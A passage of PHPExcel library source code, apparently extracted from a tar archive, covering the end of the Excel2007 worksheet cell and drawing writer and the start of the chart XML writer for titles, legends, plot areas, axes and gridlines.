!== null; if ($writeCurrentRow) { // Start a new row $objWriter->startElement('row'); $objWriter->writeAttribute('r', $currentRow); $objWriter->writeAttribute('spans', '1:' . $colCount); // Row dimensions if ($rowDimension->getRowHeight() >= 0) { $objWriter->writeAttribute('customHeight', '1'); $objWriter->writeAttribute('ht', PHPExcel_Shared_String::FormatNumber($rowDimension->getRowHeight())); } // Row visibility if ($rowDimension->getVisible() == false) { $objWriter->writeAttribute('hidden', 'true'); } // Collapsed if ($rowDimension->getCollapsed() == true) { $objWriter->writeAttribute('collapsed', 'true'); } // Outline level if ($rowDimension->getOutlineLevel() > 0) { $objWriter->writeAttribute('outlineLevel', $rowDimension->getOutlineLevel()); } // Style if ($rowDimension->getXfIndex() !== null) { $objWriter->writeAttribute('s', $rowDimension->getXfIndex()); $objWriter->writeAttribute('customFormat', '1'); } // Write cells if (isset($cellsByRow[$currentRow])) { foreach ($cellsByRow[$currentRow] as $cellAddress) { // Write cell $this->writeCell($objWriter, $pSheet, $cellAddress, $pStringTable, $aFlippedStringTable); } } // End row $objWriter->endElement(); } } $objWriter->endElement(); } else { throw new PHPExcel_Writer_Exception("Invalid parameters passed."); } } /** * Write Cell * * @param PHPExcel_Shared_XMLWriter $objWriter XML Writer * @param PHPExcel_Worksheet $pSheet Worksheet * @param PHPExcel_Cell $pCellAddress Cell Address * @param string[] $pStringTable String table * @param string[] $pFlippedStringTable String table (flipped), for faster index searching * @throws PHPExcel_Writer_Exception */ private function writeCell(PHPExcel_Shared_XMLWriter $objWriter = null, PHPExcel_Worksheet $pSheet = null, $pCellAddress = null, $pStringTable = null, $pFlippedStringTable = null) { if (is_array($pStringTable) && is_array($pFlippedStringTable)) { // Cell $pCell = $pSheet->getCell($pCellAddress); $objWriter->startElement('c'); $objWriter->writeAttribute('r', $pCellAddress); // Sheet styles if ($pCell->getXfIndex() != '') { $objWriter->writeAttribute('s', $pCell->getXfIndex()); } // If cell value is supplied, write cell value $cellValue = $pCell->getValue(); if (is_object($cellValue) || $cellValue !== '') { // Map type $mappedType = $pCell->getDataType(); // Write data type depending on its type switch (strtolower($mappedType)) { case 'inlinestr': // Inline string case 's': // String case 'b': // Boolean $objWriter->writeAttribute('t', $mappedType); break; case 'f': // Formula $calculatedValue = ($this->getParentWriter()->getPreCalculateFormulas()) ? $pCell->getCalculatedValue() : $cellValue; if (is_string($calculatedValue)) { $objWriter->writeAttribute('t', 'str'); } break; case 'e': // Error $objWriter->writeAttribute('t', $mappedType); } // Write data depending on its type switch (strtolower($mappedType)) { case 'inlinestr': // Inline string if (! $cellValue instanceof PHPExcel_RichText) { $objWriter->writeElement('t', PHPExcel_Shared_String::ControlCharacterPHP2OOXML(htmlspecialchars($cellValue))); } elseif ($cellValue instanceof PHPExcel_RichText) { $objWriter->startElement('is'); $this->getParentWriter()->getWriterPart('stringtable')->writeRichText($objWriter, $cellValue); $objWriter->endElement(); } break; case 's': // String if (! $cellValue instanceof PHPExcel_RichText) { if (isset($pFlippedStringTable[$cellValue])) { $objWriter->writeElement('v', $pFlippedStringTable[$cellValue]); } } elseif ($cellValue instanceof PHPExcel_RichText) { $objWriter->writeElement('v', $pFlippedStringTable[$cellValue->getHashCode()]); } break; case 'f': // Formula $attributes = $pCell->getFormulaAttributes(); if ($attributes['t'] == 'array') { $objWriter->startElement('f'); $objWriter->writeAttribute('t', 'array'); $objWriter->writeAttribute('ref', $pCellAddress); $objWriter->writeAttribute('aca', '1'); $objWriter->writeAttribute('ca', '1'); $objWriter->text(substr($cellValue, 1)); $objWriter->endElement(); } else { $objWriter->writeElement('f', substr($cellValue, 1)); } if ($this->getParentWriter()->getOffice2003Compatibility() === false) { if ($this->getParentWriter()->getPreCalculateFormulas()) { // $calculatedValue = $pCell->getCalculatedValue(); if (!is_array($calculatedValue) && substr($calculatedValue, 0, 1) != '#') { $objWriter->writeElement('v', PHPExcel_Shared_String::FormatNumber($calculatedValue)); } else { $objWriter->writeElement('v', '0'); } } else { $objWriter->writeElement('v', '0'); } } break; case 'n': // Numeric // force point as decimal separator in case current locale uses comma $objWriter->writeElement('v', str_replace(',', '.', $cellValue)); break; case 'b': // Boolean $objWriter->writeElement('v', ($cellValue ? '1' : '0')); break; case 'e': // Error if (substr($cellValue, 0, 1) == '=') { $objWriter->writeElement('f', substr($cellValue, 1)); $objWriter->writeElement('v', substr($cellValue, 1)); } else { $objWriter->writeElement('v', $cellValue); } break; } } $objWriter->endElement(); } else { throw new PHPExcel_Writer_Exception("Invalid parameters passed."); } } /** * Write Drawings * * @param PHPExcel_Shared_XMLWriter $objWriter XML Writer * @param PHPExcel_Worksheet $pSheet Worksheet * @param boolean $includeCharts Flag indicating if we should include drawing details for charts * @throws PHPExcel_Writer_Exception */ private function writeDrawings(PHPExcel_Shared_XMLWriter $objWriter = null, PHPExcel_Worksheet $pSheet = null, $includeCharts = false) { $chartCount = ($includeCharts) ? $pSheet->getChartCollection()->count() : 0; // If sheet contains drawings, add the relationships if (($pSheet->getDrawingCollection()->count() > 0) || ($chartCount > 0)) { $objWriter->startElement('drawing'); $objWriter->writeAttribute('r:id', 'rId1'); $objWriter->endElement(); } } /** * Write LegacyDrawing * * @param PHPExcel_Shared_XMLWriter $objWriter XML Writer * @param PHPExcel_Worksheet $pSheet Worksheet * @throws PHPExcel_Writer_Exception */ private function writeLegacyDrawing(PHPExcel_Shared_XMLWriter $objWriter = null, PHPExcel_Worksheet $pSheet = null) { // If sheet contains comments, add the relationships if (count($pSheet->getComments()) > 0) { $objWriter->startElement('legacyDrawing'); $objWriter->writeAttribute('r:id', 'rId_comments_vml1'); $objWriter->endElement(); } } /** * Write LegacyDrawingHF * * @param PHPExcel_Shared_XMLWriter $objWriter XML Writer * @param PHPExcel_Worksheet $pSheet Worksheet * @throws PHPExcel_Writer_Exception */ private function writeLegacyDrawingHF(PHPExcel_Shared_XMLWriter $objWriter = null, PHPExcel_Worksheet $pSheet = null) { // If sheet contains images, add the relationships if (count($pSheet->getHeaderFooter()->getImages()) > 0) { $objWriter->startElement('legacyDrawingHF'); $objWriter->writeAttribute('r:id', 'rId_headerfooter_vml1'); $objWriter->endElement(); } } } PHPExcel/Writer/Excel2007/Chart.php 0000644 00000175261 14642534107 0012575 0 ustar 00 <?php /** * PHPExcel_Writer_Excel2007_Chart * * Copyright (c) 2006 - 2015 PHPExcel * * This library is free software; you can redistribute it and/or * modify it under the terms of the GNU Lesser General Public * License as published by the Free Software Foundation; either * version 2.1 of the License, or (at your option) any later version. * * This library is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU * Lesser General Public License for more details. * * You should have received a copy of the GNU Lesser General Public * License along with this library; if not, write to the Free Software * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA * * @category PHPExcel * @package PHPExcel_Writer_Excel2007 * @copyright Copyright (c) 2006 - 2015 PHPExcel (http://www.codeplex.com/PHPExcel) * @license http://www.gnu.org/licenses/old-licenses/lgpl-2.1.txt LGPL * @version ##VERSION##, ##DATE## */ class PHPExcel_Writer_Excel2007_Chart extends PHPExcel_Writer_Excel2007_WriterPart { protected $calculateCellValues; /** * Write charts to XML format * * @param PHPExcel_Chart $pChart * * @return string XML Output * @throws PHPExcel_Writer_Exception */ public function writeChart(PHPExcel_Chart $pChart = null, $calculateCellValues = true) { $this->calculateCellValues = $calculateCellValues; // Create XML writer $objWriter = null; if ($this->getParentWriter()->getUseDiskCaching()) { $objWriter = new PHPExcel_Shared_XMLWriter(PHPExcel_Shared_XMLWriter::STORAGE_DISK, $this->getParentWriter()->getDiskCachingDirectory()); } else { $objWriter = new PHPExcel_Shared_XMLWriter(PHPExcel_Shared_XMLWriter::STORAGE_MEMORY); } // Ensure that data series values are up-to-date before we save if ($this->calculateCellValues) { $pChart->refresh(); } // XML header $objWriter->startDocument('1.0', 'UTF-8', 'yes'); // c:chartSpace $objWriter->startElement('c:chartSpace'); $objWriter->writeAttribute('xmlns:c', 'http://schemas.openxmlformats.org/drawingml/2006/chart'); $objWriter->writeAttribute('xmlns:a', 'http://schemas.openxmlformats.org/drawingml/2006/main'); $objWriter->writeAttribute('xmlns:r', 'http://schemas.openxmlformats.org/officeDocument/2006/relationships'); $objWriter->startElement('c:date1904'); $objWriter->writeAttribute('val', 0); $objWriter->endElement(); $objWriter->startElement('c:lang'); $objWriter->writeAttribute('val', "en-GB"); $objWriter->endElement(); $objWriter->startElement('c:roundedCorners'); $objWriter->writeAttribute('val', 0); $objWriter->endElement(); $this->writeAlternateContent($objWriter); $objWriter->startElement('c:chart'); $this->writeTitle($pChart->getTitle(), $objWriter); $objWriter->startElement('c:autoTitleDeleted'); $objWriter->writeAttribute('val', 0); $objWriter->endElement(); $this->writePlotArea($pChart->getPlotArea(), $pChart->getXAxisLabel(), $pChart->getYAxisLabel(), $objWriter, $pChart->getWorksheet(), $pChart->getChartAxisX(), $pChart->getChartAxisY(), $pChart->getMajorGridlines(), $pChart->getMinorGridlines()); $this->writeLegend($pChart->getLegend(), $objWriter); $objWriter->startElement('c:plotVisOnly'); $objWriter->writeAttribute('val', 1); $objWriter->endElement(); $objWriter->startElement('c:dispBlanksAs'); $objWriter->writeAttribute('val', "gap"); $objWriter->endElement(); $objWriter->startElement('c:showDLblsOverMax'); $objWriter->writeAttribute('val', 0); $objWriter->endElement(); $objWriter->endElement(); $this->writePrintSettings($objWriter); $objWriter->endElement(); // Return return $objWriter->getData(); } /** * Write Chart Title * * @param PHPExcel_Chart_Title $title * @param PHPExcel_Shared_XMLWriter $objWriter XML Writer * * @throws PHPExcel_Writer_Exception */ private function writeTitle(PHPExcel_Chart_Title $title = null, $objWriter) { if (is_null($title)) { return; } $objWriter->startElement('c:title'); $objWriter->startElement('c:tx'); $objWriter->startElement('c:rich'); $objWriter->startElement('a:bodyPr'); $objWriter->endElement(); $objWriter->startElement('a:lstStyle'); $objWriter->endElement(); $objWriter->startElement('a:p'); $caption = $title->getCaption(); if ((is_array($caption)) && (count($caption) > 0)) { $caption = $caption[0]; } $this->getParentWriter()->getWriterPart('stringtable')->writeRichTextForCharts($objWriter, $caption, 'a'); $objWriter->endElement(); $objWriter->endElement(); $objWriter->endElement(); $this->writeLayout($title->getLayout(), $objWriter); $objWriter->startElement('c:overlay'); $objWriter->writeAttribute('val', 0); $objWriter->endElement(); $objWriter->endElement(); } /** * Write Chart Legend * * @param PHPExcel_Chart_Legend $legend * @param PHPExcel_Shared_XMLWriter $objWriter XML Writer * * @throws PHPExcel_Writer_Exception */ private function writeLegend(PHPExcel_Chart_Legend $legend = null, $objWriter) { if (is_null($legend)) { return; } $objWriter->startElement('c:legend'); $objWriter->startElement('c:legendPos'); $objWriter->writeAttribute('val', $legend->getPosition()); $objWriter->endElement(); $this->writeLayout($legend->getLayout(), $objWriter); $objWriter->startElement('c:overlay'); $objWriter->writeAttribute('val', ($legend->getOverlay()) ? '1' : '0'); $objWriter->endElement(); $objWriter->startElement('c:txPr'); $objWriter->startElement('a:bodyPr'); $objWriter->endElement(); $objWriter->startElement('a:lstStyle'); $objWriter->endElement(); $objWriter->startElement('a:p'); $objWriter->startElement('a:pPr'); $objWriter->writeAttribute('rtl', 0); $objWriter->startElement('a:defRPr'); $objWriter->endElement(); $objWriter->endElement(); $objWriter->startElement('a:endParaRPr'); $objWriter->writeAttribute('lang', "en-US"); $objWriter->endElement(); $objWriter->endElement(); $objWriter->endElement(); $objWriter->endElement(); } /** * Write Chart Plot Area * * @param PHPExcel_Chart_PlotArea $plotArea * @param PHPExcel_Chart_Title $xAxisLabel * @param PHPExcel_Chart_Title $yAxisLabel * @param PHPExcel_Chart_Axis $xAxis * @param PHPExcel_Chart_Axis $yAxis * @param PHPExcel_Shared_XMLWriter $objWriter XML Writer * * @throws PHPExcel_Writer_Exception */ private function writePlotArea(PHPExcel_Chart_PlotArea $plotArea, PHPExcel_Chart_Title $xAxisLabel = null, PHPExcel_Chart_Title $yAxisLabel = null, $objWriter, PHPExcel_Worksheet $pSheet, PHPExcel_Chart_Axis $xAxis, PHPExcel_Chart_Axis $yAxis, PHPExcel_Chart_GridLines $majorGridlines, PHPExcel_Chart_GridLines $minorGridlines) { if (is_null($plotArea)) { return; } $id1 = $id2 = 0; $this->_seriesIndex = 0; $objWriter->startElement('c:plotArea'); $layout = $plotArea->getLayout(); $this->writeLayout($layout, $objWriter); $chartTypes = self::getChartType($plotArea); $catIsMultiLevelSeries = $valIsMultiLevelSeries = false; $plotGroupingType = ''; foreach ($chartTypes as $chartType) { $objWriter->startElement('c:' . $chartType); $groupCount = $plotArea->getPlotGroupCount(); for ($i = 0; $i < $groupCount; ++$i) { $plotGroup = $plotArea->getPlotGroupByIndex($i); $groupType = $plotGroup->getPlotType(); if ($groupType == $chartType) { $plotStyle = $plotGroup->getPlotStyle(); if ($groupType === PHPExcel_Chart_DataSeries::TYPE_RADARCHART) { $objWriter->startElement('c:radarStyle'); $objWriter->writeAttribute('val', $plotStyle); $objWriter->endElement(); } elseif ($groupType === PHPExcel_Chart_DataSeries::TYPE_SCATTERCHART) { $objWriter->startElement('c:scatterStyle'); $objWriter->writeAttribute('val', $plotStyle); $objWriter->endElement(); } $this->writePlotGroup($plotGroup, $chartType, $objWriter, $catIsMultiLevelSeries, $valIsMultiLevelSeries, $plotGroupingType, $pSheet); } } $this->writeDataLabels($objWriter, $layout); if ($chartType === PHPExcel_Chart_DataSeries::TYPE_LINECHART) { // Line only, Line3D can't be smoothed $objWriter->startElement('c:smooth'); $objWriter->writeAttribute('val', (integer) $plotGroup->getSmoothLine()); $objWriter->endElement(); } elseif (($chartType === PHPExcel_Chart_DataSeries::TYPE_BARCHART) ||($chartType === PHPExcel_Chart_DataSeries::TYPE_BARCHART_3D)) { $objWriter->startElement('c:gapWidth'); $objWriter->writeAttribute('val', 150); $objWriter->endElement(); if ($plotGroupingType == 'percentStacked' || $plotGroupingType == 'stacked') { $objWriter->startElement('c:overlap'); $objWriter->writeAttribute('val', 100); $objWriter->endElement(); } } elseif ($chartType === PHPExcel_Chart_DataSeries::TYPE_BUBBLECHART) { $objWriter->startElement('c:bubbleScale'); $objWriter->writeAttribute('val', 25); $objWriter->endElement(); $objWriter->startElement('c:showNegBubbles'); $objWriter->writeAttribute('val', 0); $objWriter->endElement(); } elseif ($chartType === PHPExcel_Chart_DataSeries::TYPE_STOCKCHART) { $objWriter->startElement('c:hiLowLines'); $objWriter->endElement(); $objWriter->startElement('c:upDownBars'); $objWriter->startElement('c:gapWidth'); $objWriter->writeAttribute('val', 300); $objWriter->endElement(); $objWriter->startElement('c:upBars'); $objWriter->endElement(); $objWriter->startElement('c:downBars'); $objWriter->endElement(); $objWriter->endElement(); } // Generate 2 unique numbers to use for axId values // $id1 = $id2 = rand(10000000,99999999); // do { // $id2 = rand(10000000,99999999); // } while ($id1 == $id2); $id1 = '75091328'; $id2 = '75089408'; if (($chartType !== PHPExcel_Chart_DataSeries::TYPE_PIECHART) && ($chartType !== PHPExcel_Chart_DataSeries::TYPE_PIECHART_3D) && ($chartType !== PHPExcel_Chart_DataSeries::TYPE_DONUTCHART)) { $objWriter->startElement('c:axId'); $objWriter->writeAttribute('val', $id1); $objWriter->endElement(); $objWriter->startElement('c:axId'); $objWriter->writeAttribute('val', $id2); $objWriter->endElement(); } else { $objWriter->startElement('c:firstSliceAng'); $objWriter->writeAttribute('val', 0); $objWriter->endElement(); if ($chartType === PHPExcel_Chart_DataSeries::TYPE_DONUTCHART) { $objWriter->startElement('c:holeSize'); $objWriter->writeAttribute('val', 50); $objWriter->endElement(); } } $objWriter->endElement(); } if (($chartType !== PHPExcel_Chart_DataSeries::TYPE_PIECHART) && ($chartType !== PHPExcel_Chart_DataSeries::TYPE_PIECHART_3D) && ($chartType !== PHPExcel_Chart_DataSeries::TYPE_DONUTCHART)) { if ($chartType === PHPExcel_Chart_DataSeries::TYPE_BUBBLECHART) { $this->writeValueAxis($objWriter, $plotArea, $xAxisLabel, $chartType, $id1, $id2, $catIsMultiLevelSeries, $xAxis, $yAxis, $majorGridlines, $minorGridlines); } else { $this->writeCategoryAxis($objWriter, $plotArea, $xAxisLabel, $chartType, $id1, $id2, $catIsMultiLevelSeries, $xAxis, $yAxis); } $this->writeValueAxis($objWriter, $plotArea, $yAxisLabel, $chartType, $id1, $id2, $valIsMultiLevelSeries, $xAxis, $yAxis, $majorGridlines, $minorGridlines); } $objWriter->endElement(); } /** * Write Data Labels * * @param PHPExcel_Shared_XMLWriter $objWriter XML Writer * @param PHPExcel_Chart_Layout $chartLayout Chart layout * * @throws PHPExcel_Writer_Exception */ private function writeDataLabels($objWriter, $chartLayout) { $objWriter->startElement('c:dLbls'); $objWriter->startElement('c:showLegendKey'); $showLegendKey = (empty($chartLayout)) ? 0 : $chartLayout->getShowLegendKey(); $objWriter->writeAttribute('val', ((empty($showLegendKey)) ? 0 : 1)); $objWriter->endElement(); $objWriter->startElement('c:showVal'); $showVal = (empty($chartLayout)) ? 0 : $chartLayout->getShowVal(); $objWriter->writeAttribute('val', ((empty($showVal)) ? 0 : 1)); $objWriter->endElement(); $objWriter->startElement('c:showCatName'); $showCatName = (empty($chartLayout)) ? 0 : $chartLayout->getShowCatName(); $objWriter->writeAttribute('val', ((empty($showCatName)) ? 0 : 1)); $objWriter->endElement(); $objWriter->startElement('c:showSerName'); $showSerName = (empty($chartLayout)) ? 0 : $chartLayout->getShowSerName(); $objWriter->writeAttribute('val', ((empty($showSerName)) ? 0 : 1)); $objWriter->endElement(); $objWriter->startElement('c:showPercent'); $showPercent = (empty($chartLayout)) ? 0 : $chartLayout->getShowPercent(); $objWriter->writeAttribute('val', ((empty($showPercent)) ? 0 : 1)); $objWriter->endElement(); $objWriter->startElement('c:showBubbleSize'); $showBubbleSize = (empty($chartLayout)) ? 0 : $chartLayout->getShowBubbleSize(); $objWriter->writeAttribute('val', ((empty($showBubbleSize)) ? 0 : 1)); $objWriter->endElement(); $objWriter->startElement('c:showLeaderLines'); $showLeaderLines = (empty($chartLayout)) ? 1 : $chartLayout->getShowLeaderLines(); $objWriter->writeAttribute('val', ((empty($showLeaderLines)) ? 0 : 1)); $objWriter->endElement(); $objWriter->endElement(); } /** * Write Category Axis * * @param PHPExcel_Shared_XMLWriter $objWriter XML Writer * @param PHPExcel_Chart_PlotArea $plotArea * @param PHPExcel_Chart_Title $xAxisLabel * @param string $groupType Chart type * @param string $id1 * @param string $id2 * @param boolean $isMultiLevelSeries * * @throws PHPExcel_Writer_Exception */ private function writeCategoryAxis($objWriter, PHPExcel_Chart_PlotArea $plotArea, $xAxisLabel, $groupType, $id1, $id2, $isMultiLevelSeries, $xAxis, $yAxis) { $objWriter->startElement('c:catAx'); if ($id1 > 0) { $objWriter->startElement('c:axId'); $objWriter->writeAttribute('val', $id1); $objWriter->endElement(); } $objWriter->startElement('c:scaling'); $objWriter->startElement('c:orientation'); $objWriter->writeAttribute('val', $yAxis->getAxisOptionsProperty('orientation')); $objWriter->endElement(); $objWriter->endElement(); $objWriter->startElement('c:delete'); $objWriter->writeAttribute('val', 0); $objWriter->endElement(); $objWriter->startElement('c:axPos'); $objWriter->writeAttribute('val', "b"); $objWriter->endElement(); if (!is_null($xAxisLabel)) { $objWriter->startElement('c:title'); $objWriter->startElement('c:tx'); $objWriter->startElement('c:rich'); $objWriter->startElement('a:bodyPr'); $objWriter->endElement(); $objWriter->startElement('a:lstStyle'); $objWriter->endElement(); $objWriter->startElement('a:p'); $objWriter->startElement('a:r'); $caption = $xAxisLabel->getCaption(); if (is_array($caption)) { $caption = $caption[0]; } $objWriter->startElement('a:t'); // $objWriter->writeAttribute('xml:space', 'preserve'); $objWriter->writeRawData(PHPExcel_Shared_String::ControlCharacterPHP2OOXML($caption)); $objWriter->endElement(); $objWriter->endElement(); $objWriter->endElement(); $objWriter->endElement(); $objWriter->endElement(); $layout = $xAxisLabel->getLayout(); $this->writeLayout($layout, $objWriter); $objWriter->startElement('c:overlay'); $objWriter->writeAttribute('val', 0); $objWriter->endElement(); $objWriter->endElement(); } $objWriter->startElement('c:numFmt'); $objWriter->writeAttribute('formatCode', $yAxis->getAxisNumberFormat()); $objWriter->writeAttribute('sourceLinked', $yAxis->getAxisNumberSourceLinked()); $objWriter->endElement(); $objWriter->startElement('c:majorTickMark'); $objWriter->writeAttribute('val', $yAxis->getAxisOptionsProperty('major_tick_mark')); $objWriter->endElement(); $objWriter->startElement('c:minorTickMark'); $objWriter->writeAttribute('val', $yAxis->getAxisOptionsProperty('minor_tick_mark')); $objWriter->endElement(); $objWriter->startElement('c:tickLblPos'); $objWriter->writeAttribute('val', $yAxis->getAxisOptionsProperty('axis_labels')); $objWriter->endElement(); if ($id2 > 0) { $objWriter->startElement('c:crossAx'); $objWriter->writeAttribute('val', $id2); $objWriter->endElement(); $objWriter->startElement('c:crosses'); $objWriter->writeAttribute('val', $yAxis->getAxisOptionsProperty('horizontal_crosses')); $objWriter->endElement(); } $objWriter->startElement('c:auto'); $objWriter->writeAttribute('val', 1); $objWriter->endElement(); $objWriter->startElement('c:lblAlgn'); $objWriter->writeAttribute('val', "ctr"); $objWriter->endElement(); $objWriter->startElement('c:lblOffset'); $objWriter->writeAttribute('val', 100); $objWriter->endElement(); if ($isMultiLevelSeries) { $objWriter->startElement('c:noMultiLvlLbl'); $objWriter->writeAttribute('val', 0); $objWriter->endElement(); } $objWriter->endElement(); } /** * Write Value Axis * * @param PHPExcel_Shared_XMLWriter $objWriter XML Writer * @param PHPExcel_Chart_PlotArea $plotArea * @param PHPExcel_Chart_Title $yAxisLabel * @param string $groupType Chart type * @param string $id1 * @param string $id2 * @param boolean $isMultiLevelSeries * * @throws PHPExcel_Writer_Exception */ private function writeValueAxis($objWriter, PHPExcel_Chart_PlotArea $plotArea, $yAxisLabel, $groupType, $id1, $id2, $isMultiLevelSeries, $xAxis, $yAxis, $majorGridlines, $minorGridlines) { $objWriter->startElement('c:valAx'); if ($id2 > 0) { $objWriter->startElement('c:axId'); $objWriter->writeAttribute('val', $id2); $objWriter->endElement(); } $objWriter->startElement('c:scaling'); if (!is_null($xAxis->getAxisOptionsProperty('maximum'))) { $objWriter->startElement('c:max'); $objWriter->writeAttribute('val', $xAxis->getAxisOptionsProperty('maximum')); $objWriter->endElement(); } if (!is_null($xAxis->getAxisOptionsProperty('minimum'))) { $objWriter->startElement('c:min'); $objWriter->writeAttribute('val', $xAxis->getAxisOptionsProperty('minimum')); $objWriter->endElement(); } $objWriter->startElement('c:orientation'); $objWriter->writeAttribute('val', $xAxis->getAxisOptionsProperty('orientation')); $objWriter->endElement(); $objWriter->endElement(); $objWriter->startElement('c:delete'); $objWriter->writeAttribute('val', 0); $objWriter->endElement(); $objWriter->startElement('c:axPos'); $objWriter->writeAttribute('val', "l"); $objWriter->endElement(); $objWriter->startElement('c:majorGridlines'); $objWriter->startElement('c:spPr'); if (!is_null($majorGridlines->getLineColorProperty('value'))) { $objWriter->startElement('a:ln'); $objWriter->writeAttribute('w', $majorGridlines->getLineStyleProperty('width')); $objWriter->startElement('a:solidFill'); $objWriter->startElement("a:{$majorGridlines->getLineColorProperty('type')}"); $objWriter->writeAttribute('val', $majorGridlines->getLineColorProperty('value')); $objWriter->startElement('a:alpha'); $objWriter->writeAttribute('val', $majorGridlines->getLineColorProperty('alpha')); $objWriter->endElement(); //end alpha $objWriter->endElement(); //end srgbClr $objWriter->endElement(); //end solidFill $objWriter->startElement('a:prstDash'); $objWriter->writeAttribute('val', $majorGridlines->getLineStyleProperty('dash')); $objWriter->endElement(); if ($majorGridlines->getLineStyleProperty('join') == 'miter') { $objWriter->startElement('a:miter'); $objWriter->writeAttribute('lim', '800000'); $objWriter->endElement(); } else { $objWriter->startElement('a:bevel'); $objWriter->endElement(); } if (!is_null($majorGridlines->getLineStyleProperty(array('arrow', 'head', 'type')))) { $objWriter->startElement('a:headEnd'); $objWriter->writeAttribute('type', $majorGridlines->getLineStyleProperty(array('arrow', 'head', 'type'))); $objWriter->writeAttribute('w', $majorGridlines->getLineStyleArrowParameters('head', 'w')); $objWriter->writeAttribute('len', $majorGridlines->getLineStyleArrowParameters('head', 'len')); $objWriter->endElement(); } if (!is_null($majorGridlines->getLineStyleProperty(array('arrow', 'end', 'type')))) { $objWriter->startElement('a:tailEnd'); $objWriter->writeAttribute('type', $majorGridlines->getLineStyleProperty(array('arrow', 'end', 'type'))); $objWriter->writeAttribute('w', $majorGridlines->getLineStyleArrowParameters('end', 'w')); $objWriter->writeAttribute('len', $majorGridlines->getLineStyleArrowParameters('end', 'len')); $objWriter->endElement(); } $objWriter->endElement(); //end ln } $objWriter->startElement('a:effectLst'); if (!is_null($majorGridlines->getGlowSize())) { $objWriter->startElement('a:glow'); $objWriter->writeAttribute('rad', $majorGridlines->getGlowSize()); $objWriter->startElement("a:{$majorGridlines->getGlowColor('type')}"); $objWriter->writeAttribute('val', $majorGridlines->getGlowColor('value')); $objWriter->startElement('a:alpha'); $objWriter->writeAttribute('val', $majorGridlines->getGlowColor('alpha')); $objWriter->endElement(); //end alpha $objWriter->endElement(); //end schemeClr $objWriter->endElement(); //end glow } if (!is_null($majorGridlines->getShadowProperty('presets'))) { $objWriter->startElement("a:{$majorGridlines->getShadowProperty('effect')}"); if (!is_null($majorGridlines->getShadowProperty('blur'))) { $objWriter->writeAttribute('blurRad', $majorGridlines->getShadowProperty('blur')); } if (!is_null($majorGridlines->getShadowProperty('distance'))) { $objWriter->writeAttribute('dist', $majorGridlines->getShadowProperty('distance')); } if (!is_null($majorGridlines->getShadowProperty('direction'))) { $objWriter->writeAttribute('dir', $majorGridlines->getShadowProperty('direction')); } if (!is_null($majorGridlines->getShadowProperty('algn'))) { $objWriter->writeAttribute('algn', $majorGridlines->getShadowProperty('algn')); } if (!is_null($majorGridlines->getShadowProperty(array('size', 'sx')))) { $objWriter->writeAttribute('sx', $majorGridlines->getShadowProperty(array('size', 'sx'))); } if (!is_null($majorGridlines->getShadowProperty(array('size', 'sy')))) { $objWriter->writeAttribute('sy', $majorGridlines->getShadowProperty(array('size', 'sy'))); } if (!is_null($majorGridlines->getShadowProperty(array('size', 'kx')))) { $objWriter->writeAttribute('kx', $majorGridlines->getShadowProperty(array('size', 'kx'))); } if (!is_null($majorGridlines->getShadowProperty('rotWithShape'))) { $objWriter->writeAttribute('rotWithShape', $majorGridlines->getShadowProperty('rotWithShape')); } $objWriter->startElement("a:{$majorGridlines->getShadowProperty(array('color', 'type'))}"); $objWriter->writeAttribute('val', $majorGridlines->getShadowProperty(array('color', 'value'))); $objWriter->startElement('a:alpha'); $objWriter->writeAttribute('val', $majorGridlines->getShadowProperty(array('color', 'alpha'))); $objWriter->endElement(); //end alpha $objWriter->endElement(); //end color:type $objWriter->endElement(); //end shadow } if (!is_null($majorGridlines->getSoftEdgesSize())) { $objWriter->startElement('a:softEdge'); $objWriter->writeAttribute('rad', $majorGridlines->getSoftEdgesSize()); $objWriter->endElement(); //end softEdge } $objWriter->endElement(); //end effectLst $objWriter->endElement(); //end spPr $objWriter->endElement(); //end majorGridLines if ($minorGridlines->getObjectState()) { $objWriter->startElement('c:minorGridlines'); $objWriter->startElement('c:spPr'); if (!is_null($minorGridlines->getLineColorProperty('value'))) { $objWriter->startElement('a:ln'); $objWriter->writeAttribute('w', $minorGridlines->getLineStyleProperty('width')); $objWriter->startElement('a:solidFill'); $objWriter->startElement("a:{$minorGridlines->getLineColorProperty('type')}"); $objWriter->writeAttribute('val', $minorGridlines->getLineColorProperty('value')); $objWriter->startElement('a:alpha'); $objWriter->writeAttribute('val', $minorGridlines->getLineColorProperty('alpha')); $objWriter->endElement(); //end alpha $objWriter->endElement(); //end srgbClr $objWriter->endElement(); //end solidFill $objWriter->startElement('a:prstDash'); $objWriter->writeAttribute('val', $minorGridlines->getLineStyleProperty('dash')); $objWriter->endElement(); if ($minorGridlines->getLineStyleProperty('join') == 'miter') { $objWriter->startElement('a:miter'); $objWriter->writeAttribute('lim', '800000'); $objWriter->endElement(); } else { $objWriter->startElement('a:bevel'); $objWriter->endElement(); } if (!is_null($minorGridlines->getLineStyleProperty(array('arrow', 'head', 'type')))) { $objWriter->startElement('a:headEnd'); $objWriter->writeAttribute('type', $minorGridlines->getLineStyleProperty(array('arrow', 'head', 'type'))); $objWriter->writeAttribute('w', $minorGridlines->getLineStyleArrowParameters('head', 'w')); $objWriter->writeAttribute('len', $minorGridlines->getLineStyleArrowParameters('head', 'len')); $objWriter->endElement(); } if (!is_null($minorGridlines->getLineStyleProperty(array('arrow', 'end', 'type')))) { $objWriter->startElement('a:tailEnd'); $objWriter->writeAttribute('type', $minorGridlines->getLineStyleProperty(array('arrow', 'end', 'type'))); $objWriter->writeAttribute('w', $minorGridlines->getLineStyleArrowParameters('end', 'w')); $objWriter->writeAttribute('len', $minorGridlines->getLineStyleArrowParameters('end', 'len')); $objWriter->endElement(); } $objWriter->endElement(); //end ln } $objWriter->startElement('a:effectLst'); if (!is_null($minorGridlines->getGlowSize())) { $objWriter->startElement('a:glow'); $objWriter->writeAttribute('rad', $minorGridlines->getGlowSize()); $objWriter->startElement("a:{$minorGridlines->getGlowColor('type')}"); $objWriter->writeAttribute('val', $minorGridlines->getGlowColor('value')); $objWriter->startElement('a:alpha'); $objWriter->writeAttribute('val', $minorGridlines->getGlowColor('alpha')); $objWriter->endElement(); //end alpha $objWriter->endElement(); //end schemeClr $objWriter->endElement(); //end glow } if (!is_null($minorGridlines->getShadowProperty('presets'))) { $objWriter->startElement("a:{$minorGridlines->getShadowProperty('effect')}"); if (!is_null($minorGridlines->getShadowProperty('blur'))) { $objWriter->writeAttribute('blurRad', 